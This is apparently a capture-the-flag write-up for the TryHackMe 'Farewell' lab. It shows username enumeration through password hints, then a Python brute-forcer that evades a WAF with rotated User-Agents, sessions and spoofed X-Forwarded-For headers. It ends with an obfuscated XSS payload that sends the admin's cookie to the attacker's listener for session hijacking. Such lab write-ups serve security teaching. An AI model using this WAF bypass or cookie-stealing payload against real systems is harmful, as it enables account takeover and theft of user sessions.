Description
https://tryhackme.com/room/farewell
Use red-teaming techniques to bypass the WAF and obtain admin access to the web application.
The farewell server will be decommissioned in less than 24 hours. Everyone is asked to leave one last message, but the admin panel holds all submissions. Can you sneak into the admin area and read every farewell message before the lights go out?
Note: In case you want to start over or restart all services, visit http://10.80.173.175/status.php.
Overview
On the main webpage we have a login form. In javascript file http://10.80.173.175/check.js we can see that the data from the login form is sent to /auth.php (POST):
try {
const res = await fetch('/auth.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: form.toString(),
credentials: 'same-origin'
}); Looks like the application is presenting a different error whether a username or password is invalid:
if (data && data.success) {
// redirect on success
window.location = data.redirect || '/dashboard.php';
return;
}
if (data && data.error === 'auth_failed') {
// Show the returned hint if present
if (data.user && data.user.password_hint) {
showHint("Invalid password against the user");
} else {
showAlert('Invalid username or password.');
}
} else {
showAlert('Unexpected response from server.');
console.warn('Server response:', data);
} in the main website source code we can also find several usernames:
<!-- duplicated items for continuous scroll -->
<div class="tick-item">adam posted a message - 3 hrs ago</div>
<div class="tick-item">deliver11 posted a message - 4 hrs ago</div>
<div class="tick-item">nora posted a message - 1 day ago</div>
I intercepted a login request with every username I found and it looks like it reveals password hints:
I think that the easiest one to guess would be the password of deliver11
I tried using ffuf to bruteforce password:
ffuf -request request.txt -request-proto http -w pass.txt -v -t 1 -p 0.3 -rate 3 but it triggered WAF after 10 requests and resulted with 403 HTTP response code. I tried with many additional parameters but it didn’t help.
I decided to write my own python script with rotation of a User-Agent, getting a new cookie from time to time and random X-Forwarded-For IP:
import faker
import requests
import time
from fake_useragent import UserAgent
from faker import Faker
TARGET_URL = "http://10.80.173.175"
LOGIN_URL = TARGET_URL + "/auth.php"
USERNAME = "deliver11"
def get_new_session():
s = requests.Session()
resp = s.get(TARGET_URL)
phpsessid = resp.cookies.get("PHPSESSID")
return s, phpsessid
passwords = [f"Tokyo{i:04d}" for i in range(10000)]
session, cookie = get_new_session()
print(f"[+] New session cookie: {cookie}")
attempt = 0
for pwd in passwords:
attempt += 1
body = f"username={USERNAME}&password={pwd}"
ua = UserAgent()
fake = Faker()
fake_forwarded_for = fake.ipv4_public()
headers = {
"User-Agent": ua.random,
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": TARGET_URL + "/",
"Origin": TARGET_URL,
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"X-Forwarded-For": fake_forwarded_for,
"X-Real-IP": "127.0.0.1"
}
r = session.post(LOGIN_URL, data=body, headers=headers)
print(f"[{attempt}] Tried {pwd} | Status: {r.status_code} | Len: {len(r.text)}")
if "auth_failed" not in r.text:
print(f"[!!!] POSSIBLE SUCCESS: {pwd}")
break
if attempt % 9 == 0:
print("[*] Rate limit safety: sleeping 10s & rotating session")
session, cookie = get_new_session()
print(f"[+] New session cookie: {cookie}") I was not blocked by the firewall when using this script, and after a short while I had the correct password for user deliver11:
I logged in as devliver11 and got the first flag:
Now we need to steal the admin cookie. The form is triggering WAF alert when you type: <script>alert(1)</script> so it needs something more sophisticated.
After trial and error I found a working payload:
<iframe src="javascript:location.href='ht'+'tp://MY_MACHINE_IP:8000/?c='+document['coo'+'kie']"/> I started http server on my kali:
python3 -m http.server and after a short period of time I got the admin cookie:
I changed PHPSESSID cookie value in my browser storage and refreshed the page:
I switched to the admin panel under /admin.php and I got the admin flag: